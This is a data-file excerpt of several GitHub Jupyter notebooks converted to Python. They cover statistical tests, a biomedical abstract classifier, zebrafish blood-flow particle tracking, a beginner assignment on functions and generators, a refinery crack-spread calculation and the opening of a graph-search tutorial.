deviations of the two groups are equal. You can check for homogeneity of variance using statistical tests like Levene's test or by examining the spread of data within groups.\n'''\nlevene_test_profit = stats.levene(High_priority['Profit'], Low_priority['Profit'])\nlevene_test_profit\n\n# Check and print the results of the assumptions\nprint(f'Shapiro-Wilk Test - Column 1: W={shapiro_column1[0]}, p={shapiro_column1[1]}')\nprint(f'Shapiro-Wilk Test - Column 2: W={shapiro_column2[0]}, p={shapiro_column2[1]}')\nprint(f'Levene Test: W={levene_test_profit[0]}, p={levene_test_profit[1]}')\n\n\n\n","repo_name":"realBagher/Laptop_analysis_and_Warehousing_g3","sub_path":"Tasks/task 7/task_7.ipynb","file_name":"task_7.ipynb","file_ext":"py","file_size_in_byte":8713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"24050222190","text":"# + _cell_guid=\"b1076dfc-b9ad-4769-8c92-a6c4dae69d19\" _uuid=\"8f2839f25d086af736a60e9eeb907d3b93b6e0e5\" papermill={\"duration\": 0.076566, \"end_time\": \"2022-04-19T23:47:36.015812\", \"exception\": false, \"start_time\": \"2022-04-19T23:47:35.939246\", \"status\": \"completed\"}\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the read-only \"../input/\" directory\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\nimport os\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n for filename in filenames:\n print(os.path.join(dirname, filename))\n\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session\n\n# + papermill={\"duration\": 54.0114, \"end_time\": \"2022-04-19T23:48:30.040797\", \"exception\": false, \"start_time\": \"2022-04-19T23:47:36.029397\", \"status\": \"completed\"}\n# !pip install -q ktrain\n# !pip install -q cached-path\n\n# + papermill={\"duration\": 46.733348, \"end_time\": \"2022-04-19T23:49:16.787772\", \"exception\": false, \"start_time\": \"2022-04-19T23:48:30.054424\", \"status\": \"completed\"}\nimport tensorflow as tf\nimport ktrain \nfrom cached_path import cached_path\n\n\n# Activate AMP\nfrom tensorflow.keras.mixed_precision import experimental as mixed_precision\npolicy = mixed_precision.Policy('mixed_float16')\nmixed_precision.set_policy(policy)\n\n# Load model (method 1)\n#predictor=ktrain.load_predictor('../input/bf-model-dev-copy')\n\n# Load model (method 2)\nmodel_path = cached_path(\"https://github.com/PathwayCommons/pathway-abstract-classifier/releases/download/pretrained-models/title_abstract_model.zip\", extract_archive=True)\npredictor = ktrain.load_predictor(model_path)\n\n# + papermill={\"duration\": 0.120008, \"end_time\": \"2022-04-19T23:49:16.921997\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:16.801989\", \"status\": \"completed\"}\n# Read in validation data\ndf=pd.read_csv('../input/test-val/val_data.tsv', delimiter=\"\\t\")\n\n# + papermill={\"duration\": 0.029837, \"end_time\": \"2022-04-19T23:49:16.968959\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:16.939122\", \"status\": \"completed\"}\n#pre-process data \ndf['class']=df['class'].astype('bool')\ntitles=df['title'].tolist()\nabstracts=df['abstract'].tolist()\ntexts = [title + \" [SEP] \" + abstract for title, abstract in zip(titles, abstracts)]\ny_val=df['class'].to_numpy()\n\n# + papermill={\"duration\": 31.914804, \"end_time\": \"2022-04-19T23:49:48.898639\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:16.983835\", \"status\": \"completed\"}\n# Check performance on validation set\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import matthews_corrcoef\n\n\npredictions=predictor.predict((texts))\nprint(classification_report((y_val), predictions))\nprint(matthews_corrcoef((y_val), predictions))\n\n# + papermill={\"duration\": 0.049908, \"end_time\": \"2022-04-19T23:49:48.962596\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:48.912688\", \"status\": \"completed\"}\n# Read in test data \ndf_test=pd.read_csv('../input/test-val/test_data.tsv', delimiter=\"\\t\")\n\n# + papermill={\"duration\": 0.02306, \"end_time\": \"2022-04-19T23:49:48.999642\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:48.976582\", \"status\": \"completed\"}\n#pre-process data \ndf_test['class']=df_test['class'].astype('bool')\ntitles=df_test['title'].tolist()\nabstracts=df_test['abstract'].tolist()\ntexts = [title + \" [SEP] \" + abstract for title, abstract in zip(titles, abstracts)]\ny_test=df_test['class'].to_numpy()\n\n# + papermill={\"duration\": 13.242115, \"end_time\": \"2022-04-19T23:50:02.255618\", \"exception\": false, \"start_time\": \"2022-04-19T23:49:49.013503\", \"status\": \"completed\"}\n# Check performance on test set\npredictions=predictor.predict((texts))\nprint(classification_report((y_test), predictions))\nprint(matthews_corrcoef((y_test), predictions))\n\n# + papermill={\"duration\": 0.103933, \"end_time\": \"2022-04-19T23:50:02.385452\", \"exception\": false, \"start_time\": \"2022-04-19T23:50:02.281519\", \"status\": \"completed\"}\n# Read in test data to be manually checked\ndf_ultest=pd.read_csv('../input/ultimate-test-manual-check/test_ult.tsv', delimiter =\"\\t\")\ndf_ultest.replace(np.nan, '', regex=True, inplace=True)\nprint(df_ultest)\n\n# + papermill={\"duration\": 0.025993, \"end_time\": \"2022-04-19T23:50:02.437295\", \"exception\": false, \"start_time\": \"2022-04-19T23:50:02.411302\", \"status\": \"completed\"}\n#Pre-Process input\ntitles=df_ultest['title'].tolist()\nabstracts=df_ultest['abstract'].tolist()\ntexts = [title + \" [SEP] \" + abstract for title, abstract in zip(titles, abstracts)]\n\n# + papermill={\"duration\": 37.883932, \"end_time\": \"2022-04-19T23:50:40.337333\", \"exception\": false, \"start_time\": \"2022-04-19T23:50:02.453401\", \"status\": \"completed\"}\n# Make predictions (with probs) on input and add to dataframe\npredictions=predictor.predict((texts))\nprobs= predictor.predict_proba((texts))\ndf_ultest['Predictions']=predictions\ndf_ultest['Probs']=probs[:,1]\n\n# + papermill={\"duration\": 0.061536, \"end_time\": \"2022-04-19T23:50:40.415089\", \"exception\": false, \"start_time\": \"2022-04-19T23:50:40.353553\", \"status\": \"completed\"}\ndf_ultest.to_csv('manual_test.tsv', sep=\"\\t\", index= False)\n\n# + papermill={\"duration\": 0.01446, \"end_time\": \"2022-04-19T23:50:40.444340\", \"exception\": false, \"start_time\": \"2022-04-19T23:50:40.429880\", \"status\": \"completed\"}\n\n","repo_name":"PathwayCommons/pathway-abstract-classifier","sub_path":"archive/final-val-test-check.ipynb","file_name":"final-val-test-check.ipynb","file_ext":"py","file_size_in_byte":5828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"73778831373","text":"# +\n#import modules\nfrom __future__ import division, unicode_literals, print_function # for compatibility with Python 2 and 3\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame, Series\nimport pims\nimport trackpy as tp\nimport os\nfrom datetime import datetime\nfrom dateutil import parser\nimport re\n\n#MatPlotLib\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\n#Scikit-image\nfrom skimage.transform import rotate\nfrom skimage.util import crop\nfrom skimage import exposure\nfrom skimage import data, img_as_float, img_as_uint\n\n#magic commands\n# %matplotlib inline \n# %matplotlib notebook\n\n#tweak styles\nmpl.rc('figure', figsize = (10,6))\nmpl.rc('image', cmap = 'gray')\n\n#get some DeprecationWarnings in sklearn module. Ignore these warnings for now.\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n# -\n\n# SUPPORT FUNCTIONS\n\n# +\ndef adapthist(im):\n \"\"\"\n Enhance contrast by adaptive histogram equalization\n \"\"\"\n \n im_adapteq = exposure.equalize_adapthist(im, clip_limit=0.01)\n \n return im_adapteq\n\ndef showim2(im1, im2):\n \"\"\"\n Show two images side-by-side\n \"\"\"\n #Show images\n f, ax = plt.subplots(1, 2, sharey=True)\n plt.axes(ax[0])\n plt.imshow(im1)\n plt.axes(ax[1])\n plt.imshow(im2)\n\ndef showparticle(trajectory, particle, framelist):\n \"\"\"\n Show specific particle for frames specified in framelist\n \"\"\"\n #select rows for corresponding particle and sort by frame\n select_traj = trajectory[trajectory['particle']==4].sort_values(['frame'], ascending=True)\n\n #loop by frames\n fig = -1\n for f in framelist:\n data = select_traj[select_traj['frame'] == f]\n fig = plt.figure()\n tp.annotate(data, image, plot_style={'markersize':5, 'markeredgewidth':1})\n fig.suptitle(\"Frame:\" + str(f))\n\n\ndef timestamp(frameinterval):\n \"\"\"\n return complete time stamp from MetaMorph tiff file\n \"\"\"\n\n frameseq = np.arange(frameinterval[0],frameinterval[1]+1,1)\n #new pandas data frame to store time information\n df_ = pd.DataFrame(columns=['year','month','day','hour','minute','second','millisecond'])\n\n for f in frameseq:\n #extract meta data\n metadata = str(frames[f].metadata['ImageDescription'])\n \n #find the correct time stamp string between two consistent fields in metadata\n sub1 = '= dist[0])]\n else:\n filtered_stat = stat_particle_data[(stat_particle_data['total_dist_um'] >= dist[0]) & \n (stat_particle_data['total_dist_um'] <= dist[1])]\n \n #figure out the particle numbers\n partnumbers = np.sort(filtered_stat['particle'].unique())\n\n #select those numbers in the trajectory frame\n #create empty data frame\n filtered_trajectory = pd.DataFrame(columns=trajectory.columns.values)\n\n for p in partnumbers:\n trajectory_p = trajectory[trajectory['particle'] == p]\n #add to output data frame\n filtered_trajectory = filtered_trajectory.append(trajectory_p, ignore_index = True)\n \n return(filtered_trajectory)\n\n\ndef filtered_trajectory_diag(trajectory, stat_particle_data, diag):\n #filter trajectories by total distance within [min,max] interval\n \"\"\"\n Filter by length of diagonal of rectangular box containing the traj [min,max]. max = 0 for no upper limit\n \"\"\" \n #find those particles that have a trajectory within the dist[min,max] interval\n if diag[1] == 0:\n filtered_stat = stat_particle_data[(stat_particle_data['diag_um'] >= diag[0])]\n else:\n filtered_stat = stat_particle_data[(stat_particle_data['diag_um'] >= diag[0]) & \n (stat_particle_data['diag_um'] <= diag[1])]\n \n #figure out the particle numbers\n partnumbers = np.sort(filtered_stat['particle'].unique())\n\n #select those numbers in the trajectory frame\n #create empty data frame\n filtered_trajectory = pd.DataFrame(columns=trajectory.columns.values)\n\n for p in partnumbers:\n trajectory_p = trajectory[trajectory['particle'] == p]\n #add to output data frame\n filtered_trajectory = filtered_trajectory.append(trajectory_p, ignore_index = True)\n \n return(filtered_trajectory)\n\n\n# -\n\n# Data file and path information\n\nfiledir = os.getcwd()\nresultsdir = os.getcwd()\nfilename = 'H160122-X20-TAILMID-FL80FPS.tif'\nfile = os.path.join(filedir, filename)\n#frames = pims.TiffStack(file)\nframes = pims.TiffStack(file, process_func=adapthist)\n#metadata\nmetadata = frames[0].metadata['ImageDescription']\n\nprint(metadata)\n\n# Calibrations\n\n#Microscope calibrations\nprint('Pixel calibration for Andor Neo sCMOS 2560 x 2160 camera')\nprint('Image file: ', filename)\nobjective_magnification = 20\nsideport_magnification = 0.38\nchip_size_x = 16.6 #full frame chip size X [mm]\nchip_size_y = 14.0 #full frame chip size Y [mm]\nchip_pixels_x = 2560 #full frame chip size X [pixels]\nchip_pixels_y = 2160 #full frame chip size Y [pixels]\nfield_ratio_x = frames[0].shape[1] / chip_pixels_x\nfield_ratio_y = frames[0].shape[0] / chip_pixels_y\nfield_size_x = chip_size_x * field_ratio_x / objective_magnification / sideport_magnification\nfield_size_y = chip_size_y * field_ratio_y / objective_magnification / sideport_magnification\npixel_calibration_x = chip_size_x * 1000 / chip_pixels_x / objective_magnification / sideport_magnification\npixel_calibration_y = chip_size_y * 1000 / chip_pixels_y / objective_magnification / sideport_magnification\npixel_calibration = np.mean([pixel_calibration_x, pixel_calibration_y]) #mean value to convert pixels into microns\nprint('pixel_calibration_x = ', '%.3f' % pixel_calibration_x, '[um/pixel]')\nprint('pixel_calibration_y = ', '%.3f' % pixel_calibration_y, '[um/pixel]')\nprint('field_size_x = ', '%.2f' % field_size_x, '[mm]')\nprint('field_size_y = ', '%.2f' % field_size_y, '[mm]')\n#date and frame rate\nstamp = timestamp([0,10])\nframe_year = int(stamp['year'][0])\nframe_month = int(stamp['month'][0])\nframe_day = int(stamp['day'][0])\ntime =stamp['minute'] * 60 * 1000 + stamp['second'] * 1000 + stamp['millisecond']\ntimearray = np.array(time)\ndtlist = [(timearray[i]-timearray[i-1]) for i in np.arange(1,len(timearray),1)]\nscaninterval = np.mean(dtlist)\nscanrate = 1/scaninterval * 1000\nprint('mean scan interval = ', scaninterval, '[ms]')\nprint('mean frame rate = ', scanrate, '[fps]')\n\n# LOCATE FEATURES\n\n# +\n#Locate features\nfnumber = 50 #current frame to look at\ndiam = 11 #odd integer with features extent in pixels\nminm = 0.03 #minimum integrated brightness\nsep = 1 #minimum separation between features\nperc = 20 #features must have a peak brighter than pixels in this percentile\ntopnum = 500 #return only the N brightest features above minmass\n\nfeats1 = tp.locate(frames[fnumber], invert=False, diameter=diam, minmass=minm, separation=sep, percentile=perc,\n topn=topnum)\nfeats2 = tp.locate(frames[fnumber+10], invert=False, diameter=diam, minmass=minm, separation=sep, percentile=perc,\n topn=topnum)\n\nf, ax = plt.subplots(1, 2, sharey=True)\nplt.axes(ax[0])\ntp.annotate(feats1, frames[fnumber], plot_style={'markersize':5, 'markeredgewidth':1})\n\nplt.axes(ax[1])\ntp.annotate(feats2, frames[fnumber+10], plot_style={'markersize':5, 'markeredgewidth':1})\n\n#set axis properties\n[ax[i].set_xlabel('Pixel [x]') for i in range(2)]\n[ax[i].set_ylabel('Pixel [y]') for i in range(2)]\n[ax[i].legend_.remove() for i in range(2)]\n# -\n\n# FIND FEATURES IN ALL FRAMES\n\nfeats = tp.batch(frames, diameter=diam, minmass=minm, separation=sep, invert=False, percentile=perc,\n topn=topnum)\nprint('Total number of features: ',feats.shape)\n\n# LINK FEATURES INTO PARTICLE TRAJECTORIES\n\nsearchrange = 5 #Maximum distance features can move between frames\nmemory = 3 #Maximum number of frames during which a feature can vanish, than reappear and consider the same particle\ntrajs = tp.link_df(feats, 5, memory=3)\n\n# FILTER TRAJECTORIES\n\n#get rid of spurious trajectories (minimum number of frames)\ntrajsF1 = tp.filter_stubs(trajs, threshold = 5)\n# Compare the number of particles in the unfiltered and filtered data.\nprint('Before:', trajs['particle'].nunique())\nprint('After:', trajsF1['particle'].nunique())\n\n#calculate difference vectors (r0,r1), distance travelled, time passed and velocity for each frame and all particles\nparticle_data = partparms(trajsF1) \n\nparticle_data = filter_particle_data(particle_data, window = 5)\n\nparticle_data.head()\n\n#calculate particle statistics (total_dist_um, total_time_s, mean_vel_umps)\nstat_particle_data = stat_partparms(trajsF1, particle_data)\nq3_diag = stat_particle_data['diag_um'].quantile(q=0.75)\nq1_diag = stat_particle_data['diag_um'].quantile(q=0.25)\nmedian_diag = stat_particle_data['diag_um'].quantile(q=0.50)\n\n#filter the trajectories by diag_um interval\nfiltered_trajectory = filtered_trajectory_diag(trajsF1, stat_particle_data, [q1_diag, 0])\n#filter the trajectories by diag_um interval\n#filter trajectories by diagonal trajectory size\nprint('Original number of trajectories: ', len(trajsF1['particle'].unique()))\nprint('Filtered number of trajectories: ', len(filtered_trajectory['particle'].unique()))\n\n#calculate new statistics of filtered trajectories\nfiltered_particle_data = partparms(filtered_trajectory)\nfiltered_stat_particle_data = stat_partparms(filtered_trajectory, filtered_particle_data)\n\n#velocity statistics\nq3_vel = filtered_stat_particle_data['mean_vel_umps'].quantile(q=0.75)\nq1_vel = filtered_stat_particle_data['mean_vel_umps'].quantile(q=0.25)\nq1_diag = filtered_stat_particle_data['diag_um'].quantile(q=0.25)\nq3_diag = filtered_stat_particle_data['diag_um'].quantile(q=0.75)\nmedian_vel = filtered_stat_particle_data['mean_vel_umps'].quantile(q=0.50)\nmax_vel = filtered_stat_particle_data['mean_vel_umps'].max()\nmean_vel = filtered_stat_particle_data['mean_vel_umps'].mean()\nprint('Mean velocity:', mean_vel, ' um/s')\nprint('Maximum velocity', max_vel, ' um/s')\nprint('Median velocity: ', median_vel, ' um/s')\nprint('[q1,q3] quantiles: [', q1_vel,',', q3_vel,'] um/s')\nprint('[q1,q3] quantiles: [', q1_diag,',', q3_diag,'] um')\n\nfiltered_stat_particle_data.head()\n\n# filtered_trajectory \n# filtered_particle_data \n# filtered_stat_particle_data \n\nstat_particle_data.head()\n\n# STATISTICS GRAPHS\n\n#Number of tracked blood cells per frame\nfnumbers = trajsF1['frame'].unique()\nPartPerFrame = [trajsF1[trajsF1['frame']==fnumbers[i]].shape[0] for i in fnumbers]\nfx = np.arange(1,len(PartPerFrame)+1,1)\nplt.figure()\nax0=plt.axes()\nax0.scatter(x=fx, y=PartPerFrame, s=20, marker='+', linewidths=1)\nPartLine = mpl.lines.Line2D(xdata=fx,ydata=PartPerFrame, linewidth=1, color='black')\nax0.add_line(PartLine)\nax0.axis(xmin=0, xmax=len(frames))\nax0.set_xlabel('Frame')\nax0.set_ylabel('Particles tracked')\nax0.set_title('Number of blood cells tracked per frame')\nfor tick in ax0.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax0.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'ClsPerFrame.png'\nplt.savefig(f, pad_inches = 0)\n\n#Show image with marked blood cells\nplt.figure()\nax0 = plt.axes()\ntp.annotate(feats1, frames[fnumber], plot_style={'markersize':5, 'markeredgewidth':1})\nax0.legend_.remove()\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'FrameWithCircles.png'\nplt.savefig(f, pad_inches = 0)\n\n#plot trajectories\n#show only the long trajectories\nplt.figure()\nax0=plt.axes()\nplt.axes(ax0)\ntp.plot_traj(filtered_trajectory)\n#tp.plot_traj(filtered_trajectory)\nax0.legend_.remove()\n#ax0.legend(bbox_to_anchor=(1.1, 1.05))\nplt.gca().invert_yaxis()\nax0.set_xlabel('X [pixels]')\nax0.set_ylabel('Y [pixels]')\nax0.invert_yaxis()\nax0.set_title('Filtered trajectories')\nfor tick in ax0.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax0.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'Trajects_Filtered.png'\nplt.savefig(f, pad_inches = 0)\n\n# +\n#hist: Diagonal trajectory size \nplt.figure()\nax1=plt.axes()\nax1.hist(stat_particle_data['diag_um'], histtype='bar', color='red', bins=20)\n#plot((median, median), (0, 25), 'k-')\nax1.set_xlabel('Diagonal trajectory size (um)')\nax1.set_ylabel('Frequency')\n\nfor tick in ax1.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax1.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'Traj_Diag_Size.png'\nplt.savefig(f, pad_inches = 0)\n# -\n\n\n\n#hist: Velocity profile\nplt.figure()\nax1=plt.axes()\nax1.hist(filtered_stat_particle_data['mean_vel_umps'], histtype='bar', color='red', bins=20)\nax1.set_xlabel('Mean particle velocity [um/s]')\nax1.set_ylabel('Frequency')\nfor tick in ax1.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax1.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'Part_Velocity_Filtered.png'\nplt.savefig(f, pad_inches = 0)\n\n#hist: Total livetime\nplt.figure()\nax1=plt.axes()\nax1.hist(filtered_stat_particle_data['total_time_s'], histtype='bar', color='red', bins=20)\nax1.set_xlabel('Lifetime [s]')\nax1.set_ylabel('Frequency')\nfor tick in ax0.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax0.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'Lifetime.png'\nplt.savefig(f, pad_inches = 0)\n\n# +\n#plot the time course of the largest trajectories\n#filtered_trajectory \n#filtered_particle_data \n#filtered_stat_particle_data \n#figure out the particle numbers\n\nq_diag = stat_particle_data['diag_um'].quantile(q=0.9)\nfiltered_trajectory_q = filtered_trajectory_diag(filtered_trajectory, filtered_stat_particle_data, [q_diag, 0])\n#re-calculate statistics (to be avoided in the future)\nfiltered_particle_data_q = partparms(filtered_trajectory_q)\nfiltered_stat_particle_data_q = stat_partparms(filtered_trajectory_q, filtered_particle_data_q)\n#filter the trajectories by diag_um interval\n#filter trajectories by diagonal trajectory size\nprint('Original number of trajectories: ', len(trajsF1['particle'].unique()))\nprint('Filtered number of trajectories: ', len(filtered_trajectory_q['particle'].unique())) \n\n# +\n#prepare on particle trajectory\npartnumbers = np.sort(filtered_stat_particle_data_q['particle'].unique())\np = 74\n#for p in range(len(partnumbers)):\n\n#New data frame\ndfcols = ['particle','time_s','dist_um','vel_umps'] \ntimeseries_p = pd.DataFrame(columns = dfcols)\n\n#select particle data\nq9_p = filtered_particle_data_q[filtered_particle_data_q['particle'] == partnumbers[p]]\n\n#create data lists\nt = list([0])\nd = list([0])\nv = list([q9_p['vel_umps'].iloc[0]])\npart = list([partnumbers[p]])\nfor k in np.arange(1, q9_p.shape[0], 1):\n t2 = t[k-1] + q9_p['dt_s'].iloc[k]\n t.append(t2)\n d2 = d[k-1] + q9_p['dist_um'].iloc[k]\n d.append(d2)\n v2 = q9_p['vel_umps'].iloc[k]\n v.append(v2)\n part.append(partnumbers[p])\n\ntimeseries_p['particle'] = part\ntimeseries_p['time_s'] = t\ntimeseries_p['dist_um'] = d\ntimeseries_p['vel_umps'] = v\n\n#plot time series\nplt.figure()\nax0=plt.axes()\nplt.axes(ax0)\n#plot velocity versus time for particle p\nt = timeseries_p['time_s']\nv = timeseries_p['vel_umps']\nax0.scatter(x=t, y=v, s=60, marker='+', linewidths=2, color = 'red')\nvline = mpl.lines.Line2D(xdata=t,ydata=v, linewidth=2, color = 'black')\nax0.add_line(vline)\n#ax0.legend(bbox_to_anchor=(1.1, 1.05))\nax0.set_xlabel('Time [s]')\nax0.set_ylabel('Velocity [um/s]')\nax0.set_title('Velocity time course')\nfor tick in ax0.xaxis.get_major_ticks():\n tick.label.set_fontsize(14)\nfor tick in ax0.yaxis.get_major_ticks():\n tick.label.set_fontsize(14)\n#save image\nbasename = filename[:-4] +'_'\nf = resultsdir + '\\\\' + basename + 'Velcity_Time.png'\nplt.savefig(f, pad_inches = 0)\n# -\n\n1/0.3 * 60\n\n\n","repo_name":"awerdich/Python_Bloodflow","sub_path":"Zebrafish_Bloodflow.ipynb","file_name":"Zebrafish_Bloodflow.ipynb","file_ext":"py","file_size_in_byte":21576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"23875824200","text":"# 1) Which keyword is used to create a function? Create a function to return a list of odd numbers in the\n# range of 1 to 25.\n#\n# - 'def' keyword is used to create a function.\n\ndef list_odd_number():\n return [x for x in range(1,26) if x%2 != 0]\nlist_odd_number()\n\n\n# 2) Why *args and **kwargs is used in some functions? Create a function each for *args and **kwargs to\n# demonstrate their use.\n# - *args is basically used to take n many numbers of inputs at runtime.\n# - in a similar manner **kwargs is used to take n many numbers of 'Key-Value' pairs at runtime.\n\ndef sum_(*args):\n '''Please give valid numeric numbers'''\n return sum(args)\nprint(sum_(1,2,3,4))\nprint(sum_(36.56,2,3,7,8,10,100.56))\n\n\ndef test(**kwargs):\n return kwargs.values(), kwargs.keys()\nprint(test(a=34,b=\"Pwskills\",c=56.90,d=False))\n\n# 3) What is an iterator in python? Name the method used to initialise the iterator object and the method\n# used for iteration. Use these methods to print the first five elements of the given list [2, 4, 6, 8, 10, 12, 14, 16,\n# 18, 20].\n#\n# - Iterator in Python is an object that is used to iterate over iterable objects like lists, tuples, dicts, and sets.\n# - The iterator object is initialized using the iter() method. It uses the next() method for iteration.\n\nlst = [2,4,6,8,10,12,14,16,18,20]\niterator_obj = iter(lst)\nprint(\"First five elements of given lists: \")\nfor i in range(0,5):\n print(next(iterator_obj), end=' ')\n\n\n# 4) What is a generator function in python? Why yield keyword is used? Give an example of a generator\n# function.\n# - A generator-function is defined like a normal function, but whenever it needs to generate a value, it does so with the yield keyword rather than return. If the body of a def contains yield, the function automatically becomes a generator function. \n\n# +\n# Find first n even numbers \ndef generator_func(n):\n a = 2\n for x in range(n):\n yield a\n a = a+2\n\n# generator_func(10)\nfor x in generator_func(10):\n print(x, end=' ')\n\n\n# -\n\n# 5) Create a generator function for prime numbers less than 1000. Use the next() method to print the\n# first 20 prime numbers.\n\ndef isPrime(n):\n for i in range(2,round((n/2)+1)):\n if n%i == 0:\n return False\n return True\ndef prime_num():\n a=2\n for x in range(1000):\n if isPrime(a):\n yield a\n a = a + 1\n else:\n a = a + 1\n continue\nobj_iterator = iter(list(prime_num()))\ntype(obj_iterator)\n\nfor x in range(20):\n print(next(obj_iterator), end=' ')\n# Don't try to run this code again because next time we won't get first 20 prime numbers.\n\n\n","repo_name":"TapanKheni10/Data-Science-Masters","sub_path":"Assignment-4 (PW Skills- 4 Feb'23.ipynb","file_name":"Assignment-4 (PW Skills- 4 Feb'23.ipynb","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"42788754020","text":"# ##

3:2:1 Crack Spread

\n#\n#
Crack spreads are differences between wholesale petroleum product prices and crude oil prices. These spreads are often used to estimate refining margins. Crack spreads are a simple measure based on one or two products produced in a refinery (usually gasoline and distillate fuel). They do not take into consideration all refinery product revenues and exclude refining costs other than the cost of crude oil$[1]$ .
\n#\n# $[1]$ An Introduction to Crack Spreads.” US Energy Information Administration Independent Statistics & Analytics, US Energy Information Administration , 2 June 2011, www.eia.gov/todayinenergy/detail.php?id=1630.\n\n# +\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom datetime import datetime\n\n#spread ratio\no, g, h = (3, 2, 1)\n\n#import EIA price date (06/07/2020)\ndf = pd.read_csv('NYMEX_Futures_Prices.csv', skiprows = 6).set_index('Day')\ndf = df.rename(columns={'New York Harbor Reformulated RBOB Regular Gasoline Future Contract 1 ($/gal) $/gal': 'RBOB', \n 'Cushing OK Crude Oil Future Contract 1 ($/bbl) $/bbl': 'Crude', \n 'New York Harbor No. 2 Heating Oil Future Contract 1 ($/gal) $/gal': 'Heating Oil'})\ndf.index = pd.to_datetime(df.index)\n\n#calculate the crack spread\ndf['Spread'] = (df['RBOB'] * g + df['Heating Oil'] * h) - df['Crude'] / 42 * o\ndf = df[df.index >= '10/3/2005']\n\n#display df\ndf\n\n# +\n#plot EIA calculated spread\nfix, ax = plt.subplots(figsize = (10, 7))\n\nx = df.index.get_loc('01/01/2020')\ny = df.index.get_loc('05/01/2020')\n\nax.plot(df.index, df['Spread'])\nax.set_xlim(df.index[x], df.index[0])\n\nplt.xlabel('Date')\nplt.ylabel('Spread, USD')\nplt.title('2020 Crack Spread')\nplt.show()\n# type(df.index[-1]))\n\n# +\nimport yfinance as yf\n\n#spread ratio\no1, g1, h1 = (3, 2, 1)\n\n#get futures data from yahoo! finance\ncrude = yf.download('CL=F')\nho = yf.download('HO=F')\ngas = yf.download('RB=F')\n\n#data cleaning and calculation\ncs = gas.merge(ho, on = 'Date', how = 'left').merge(crude, on = 'Date', how = 'left')\ncs = cs[['Close_x', 'Close_y', 'Close']]\ncs = cs.rename(columns = {'Close_x':'gas', 'Close_y': 'heating', 'Close': 'crude'}).ffill()\n#cs['Date'] = cs['Date'].astype(str)\ncs['spread'] = (cs['gas'] * g1 + cs['heating'] * h1) - cs['crude'] / 42 * o1\n\n#plot EIA and yahoo! finance spreads\nfig = plt.figure(figsize = (10,6))\nax = fig.subplots()\n\ndates = cs.index\nax.plot(dates, cs['spread'], linewidth = 2, c = 'g')\nax.plot(df.index, df['Spread'])\nax.set_xlim(df.index[x], df.index[0])\n\nplt.xlabel('Date')\nplt.ylabel('Spread, USD')\nplt.title('2020 Crack Spread')\n\nplt.show()\n# -\n\n\n","repo_name":"JohnWortman/Modeling","sub_path":"Crack Spread/EIA vs Yahoo! Finance Crack Spread.ipynb","file_name":"EIA vs Yahoo! Finance Crack Spread.ipynb","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"74931464654","text":"# + [markdown] id=\"nDuCBOat1Emb\" colab_type=\"text\"\n# # Graph and Graph Search\n# > A tutorial of what is graph,it's representation and graph search algorithms (BFS,DFS).\n#\n# - toc: true \n# - badges: true\n# - comments: true\n# - categories: [jupyter]\n# - image: images/chart-preview.png\n\n# + [markdown] id=\"uue9wIbY1Emb\" colab_type=\"text\"\n# ### What is Graph and it's Types:\n# #### Defination\n# - Graph = (V, E)\n# - A Graph has Vertices(arbitary labels) connected by Edges.\n# V = set of Vertices\n# E = set of Vertices pairs\n# #### Types of Graphs:\n# - There are two types of Graphs:\n# ##### 1.Undirected Graph:\n# - E is unordered \n# - if (V1, V2) ∈ E ==> (V2,V1) ∈ E\n# - if you can reach V1 from V2 then you can reach V2 from V2\n# ##### 2.Directed Graph:\n# - E is ordered\n# - if (V1, V2) ∈ E =/=> (V2,V1) ∈ E\n# - if you can reach from V1 to V2 doesn't automatically \n# imply you can reach V1 from V2\n#\n\n# + id=\"yEpnpxV-1Emc\" colab_type=\"code\" colab={}\nimport networkx 